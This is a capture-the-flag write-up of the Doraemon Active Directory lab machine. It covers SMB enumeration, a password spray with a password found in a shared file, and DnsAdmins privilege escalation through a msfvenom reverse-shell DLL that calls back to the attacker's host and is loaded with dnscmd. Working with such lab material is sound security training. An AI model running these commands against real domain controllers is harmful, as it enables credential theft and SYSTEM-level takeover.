Doraemon

https://labs.thehackerslabs.com/machine/30

Recon

PortScan

➜  Doraemon nmap -sn 192.168.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:52 CST
Nmap scan report for 192.168.10.1
Host is up (0.00057s latency).
MAC Address: 0A:00:27:00:00:10 (Unknown)
Nmap scan report for 192.168.10.5
Host is up (0.00081s latency).
MAC Address: 08:00:27:09:13:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.7
Host is up (0.00050s latency).
MAC Address: 08:00:27:34:2C:FD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.10.100
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.26 seconds

➜  Doraemon nmap -sT -min-rate 10000 -p- 192.168.10.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:53 CST
Warning: 192.168.10.5 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.10.5
Host is up (0.00038s latency).
Not shown: 64597 closed tcp ports (conn-refused), 913 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
49673/tcp open  unknown
49676/tcp open  unknown
49687/tcp open  unknown
49705/tcp open  unknown
MAC Address: 08:00:27:09:13:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

➜  Doraemon nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.10.5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:53 CST
Nmap scan report for 192.168.10.5
Host is up (0.00049s latency).

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-03 08:53:47Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: DORAEMON.THL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: DORAEMON)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: DORAEMON.THL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
MAC Address: 08:00:27:09:13:BA (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2016|2019
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2019
OS details: Microsoft Windows Server 2016 or Server 2019
Network Distance: 1 hop
Service Info: Host: WIN-VRU3GG3DPLJ; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
|   Computer name: WIN-VRU3GG3DPLJ
|   NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
|   Domain name: DORAEMON.THL
|   Forest name: DORAEMON.THL
|   FQDN: WIN-VRU3GG3DPLJ.DORAEMON.THL
|_  System time: 2025-08-03T10:53:48+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:09:13:ba (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-08-03T08:53:48
|_  start_date: 2025-08-03T08:25:53
|_clock-skew: mean: 5h19m54s, deviation: 1h09m16s, median: 5h59m54s

TRACEROUTE
HOP RTT     ADDRESS
1   0.49 ms 192.168.10.5

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.86 seconds

枚举

SMB 匿名

➜  Doraemon nxc smb 192.168.10.5 -u anonymous -p '' --smb-timeout 9999 --shares         
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True) 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\anonymous: (Guest)
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [*] Enumerated shares
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  Share           Permissions     Remark
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  -----           -----------     ------
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  ADMIN$                          Admin remota
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  C$                              Recurso predeterminado
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  gorrocoptero    READ            
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  IPC$            READ            IPC remota
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  NETLOGON                        Recurso compartido del servidor de inicio de sesión 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  SYSVOL                          Recurso compartido del servidor de inicio de sesión 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  Users

有两个文件夹有读的权限，通过模块全部读出来

nxc smb 192.168.10.5 -u anonymous -p '' --smb-timeout 9999 -M spider_plus -o DOWNOAD_FLAG=True

得到一个 txt 文件，内容：

➜  gorrocoptero cat kedadawapa.txt       
Atención al grupo especial Dorayaki1 de Estepona

- Doraemon: Â¡Hola, chicos! Â¿QuÃ© les parece si vamos a comer dorayakis hoy?

- Nobita: Â¡SÃ! Â¡Me encantan los dorayakis! Peroâ€¦ Â¿dÃ³nde vamos a conseguirlos?

- Shizuka: He oÃdo que hay una nueva tienda de dorayakis en la esquina de la calle. Â¡Dicen que son los mejores de la ciudad!

- Suneo: Oh, por favor. Siempre hay algo nuevo. No puedo esperar para probarlos. Â¡Espero que sean mÃ¡s grandes que los de la tienda anterior!

- Gigante: Â¡Quiero que sean enormes! Â¡Y que tengan mucho relleno! Si no, Â¡no me importa ir!

- Doraemon: Bueno, podemos pedirle a Nobita que use el poder de la mÃ¡quina de tiempo para viajar al futuro y traernos unos dorayakis del aÃ±o 3000.

- Nobita: Â¡Espera! No sÃ© si deberÃa usar la mÃ¡quina. La Ãºltima vez que lo hice, terminÃ© en un lugar lleno de robots rarosâ€¦

- Shizuka: No te preocupes, Nobita. Solo vamos a la tienda. No necesitamos ir al futuro. Â¡Podemos ir a pie!

- Suneo: Eso suena aburrido. Â¿Por quÃ© no hacemos una carrera? El primero en llegar a la tienda puede elegir el sabor de los dorayakis.

- Gigante: Â¡Me encanta esa idea! Pero, Â¡tendrÃ¡s que correr rÃ¡pido para ganarme, Suneo!

- Doraemon: Â¿Y si mejor vamos todos juntos? AsÃ disfrutamos del camino. AdemÃ¡s, Â¡puedo usar el futurÃ³fono para pedir un montÃ³n de dorayakis para que nos estÃ©n esperando!

- Nobita: Â¡Esa es una gran idea, Doraemon! AsÃ no tengo que correr y me aseguro de que haya suficiente para todos.

- Shizuka: Â¡Perfecto! Entonces, Â¡vamos a la tienda de dorayakis!

- Suneo: Â¡SÃ! Â¡Dorayakis, allÃ¡ vamos!

- Gigante: Â¡No se olviden de mÃ! Â¡Voy a ganar!

- Doraemon: Â¡A comer dorayakis!

致：埃斯特波纳铜锣烧1特别组

哆啦A梦：嘿，伙计们！今天我们去吃铜锣烧怎么样？

大雄：好啊！我超爱吃铜锣烧！可是……我们去哪儿买呢？

静香：我听说街角开了一家新的铜锣烧店。据说是城里最好吃的！

小夫：拜托。总是有新东西。我迫不及待想尝尝。希望比上一家的更大！

巨人：我想要个大号的！而且要多馅儿！如果不是，我也可以去！

哆啦A梦：好吧，我们可以请大雄用时光机的力量，穿越到未来，给我们带一些3000年的铜锣烧。

大雄：等等！我不知道该不该用这台机器。上次我用的时候，结果把我带到了一个满是奇怪机器人的地方……

静香：别担心，大雄。我们只是去商店而已。我们不用去未来。我们可以步行！

小夫：听起来很无聊。不如我们来个比赛？第一个到店的人可以选择铜锣烧的口味。

巨人：我喜欢这个主意！不过你得跑得快才能赢我，小夫！

哆啦A梦：我们一起去怎么样？这样我们就能享受旅程了。而且，我可以用未来手机订一堆等着我们的铜锣烧！

大雄：这主意太棒了，哆啦A梦！这样我就不用跑了，还能确保每个人都有足够的铜锣烧。

静香：太好了！那我们去铜锣烧店吧！

小夫：好的！铜锣烧，来啦！

巨人：别忘了我！我要赢！

——哆啦A梦：我们吃铜锣烧吧！

横向移动

Timeroast ❌

➜  Timeroast python timeroast.py 192.168.10.5
1000:$sntp-ms$6f6ee79d5defec4040b0f1bf4a84779e$1c0111e900000000000a0cff4c4f434cec399b9ba4dee858e1b8428bffbfcd0aec39acbe8d0ff10eec39acbe8d100f41

hash 保存为 hash.txt , hashcat 爆破

./hashcat.bin -m 31300 hash.txt /usr/share/wordlists/rockyou.txt

没爆破出来

域用户名枚举

可能前面的是用户名，我们将其提取出来

➜  gorrocoptero cat kedadawapa.txt | awk -F '- ' '{print $2}' |awk -F ':' '{print $1}'| sort | uniq | tee Domain_users.txt

Doraemon
Gigante
Nobita
Shizuka
Suneo

我们再对用户名进行测试

➜  Doraemon nxc smb 192.168.10.5 -u Domain_users.txt -p '' --smb-timeout 9999 --continue-on-success --loggedon-users
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True) 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\: 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Doraemon: STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Gigante: STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Nobita: STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Shizuka: STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Suneo: STATUS_LOGON_FAILURE

提示 STATUS_LOGON_FAILURE 存在用户名，但是密码错了

Kerberoast ❌

再枚举 Kerberoast

➜  Doraemon GetNPUsers.py -dc-ip 192.168.10.5 doraemon.thl/ -usersfile Domain_users.txt              
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] invalid principal syntax
/root/.local/bin/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Doraemon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Gigante doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nobita doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Shizuka doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Suneo doesn't have UF_DONT_REQUIRE_PREAUTH set

没法子，这里看了一下 WP，发现 txt 文件中的 Dorayaki1 是一个有效密码

密码喷洒

我们进行密码喷洒

➜  Doraemon nxc smb 192.168.10.5 -u Domain_users.txt -p 'Dorayaki1' --smb-timeout 9999 --continue-on-success                 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True) 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\:Dorayaki1 (Guest)
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\Doraemon:Dorayaki1 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Gigante:Dorayaki1 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Nobita:Dorayaki1 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Shizuka:Dorayaki1 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Suneo:Dorayaki1 STATUS_LOGON_FAILURE

得到用户 Doraemon 的凭据

测试凭据

➜  Doraemon nxc ldap 192.168.10.5 -u 'Doraemon' -p 'Dorayaki1'                           
LDAP        192.168.10.5    389    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL)
LDAP        192.168.10.5    389    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\Doraemon:Dorayaki1 

➜  Doraemon nxc winrm 192.168.10.5 -u 'Doraemon' -p 'Dorayaki1'
WINRM       192.168.10.5    5985   WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       192.168.10.5    5985   WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\Doraemon:Dorayaki1 (Pwn3d!)

域分析

使用 bloodhound-ce-python 进行信息收集

➜  Doraemon bloodhound-ce-python -u 'Doraemon' -p 'Dorayaki1' -d 'DORAEMON.THL' -ns 192.168.10.5 -dc 'WIN-VRU3GG3DPLJ.DORAEMON.THL' --zip -c All
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: doraemon.thl
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: WIN-VRU3GG3DPLJ.DORAEMON.THL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: WIN-VRU3GG3DPLJ.DORAEMON.THL
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WIN-VRU3GG3DPLJ.DORAEMON.THL
INFO: Done in 00M 01S
INFO: Compressing output into 20250803115152_bloodhound.zip

域用户组信息

在 Bloodhound 中没能找到什么可利用信息

上 winpeas 能找到一个奇怪的文本文件

是一个凭据

*Evil-WinRM* PS C:\> cat 'C:\Users\Doraemon\Links\Carta de amor a Shizuka.txt'
Shizuka te doy la clave de mi corazon: ShizukaTeAmobb12345

密码喷洒

➜  Doraemon nxc smb 192.168.10.5 -u Domain_users.txt -p 'ShizukaTeAmobb12345' --continue-on-success  
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [*] Windows 10 / Server 2016 Build 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True) 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\:ShizukaTeAmobb12345 (Guest)
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Doraemon:ShizukaTeAmobb12345 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Gigante:ShizukaTeAmobb12345 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Nobita:ShizukaTeAmobb12345 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [-] DORAEMON.THL\Shizuka:ShizukaTeAmobb12345 STATUS_LOGON_FAILURE 
SMB         192.168.10.5    445    WIN-VRU3GG3DPLJ  [+] DORAEMON.THL\Suneo:ShizukaTeAmobb12345

是 suneo 的凭据，属于 DNSADMINS 和 DORAYAKI 组

通过 BloodyAD 查看可写，有很多

权限提升

在 HackTricks 中能找到利用方法：https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=DNSadmins#dnsadmins

DnsAdmins 组的成员可以利用其权限在 DNS 服务器（通常托管在域控制器上）上加载具有 SYSTEM 权限的任意 DLL

生成反弹 shell DLL

➜  Doraemon msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.100 LPORT=4444 -f dll -o OMG.dll                                                                                  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: OMG.dll

使用以下命令使 DNS 服务器加载任意 DLL

*Evil-WinRM* PS C:\tools> dnscmd WIN-VRU3GG3DPLJ.DORAEMON.THL /config /serverlevelplugindll c:\tools\OMG.dll

Propiedad del Registro serverlevelplugindll restablecida correctamente.
Comando completado correctamente.

然后重启服务

sc.exe \\WIN-VRU3GG3DPLJ stop dns
sc.exe \\WIN-VRU3GG3DPLJ start dns

读取 root.txt 和 user.txt

C:\Users\Administrador\Desktop>type root.txt
type root.txt
advcrxxxxxxxxxxxxxxxxxxxxxxxxxx

C:\Users\Suneo\Desktop>type user.txt
type user.txt
asfrexxxxxxxxxxxxxxxxxxx

C:\Users\Administrador\Desktop>whoami
whoami
nt authority\system

总结

还行，就一开始的密码没猜到

TheHackersLabs - Doraemon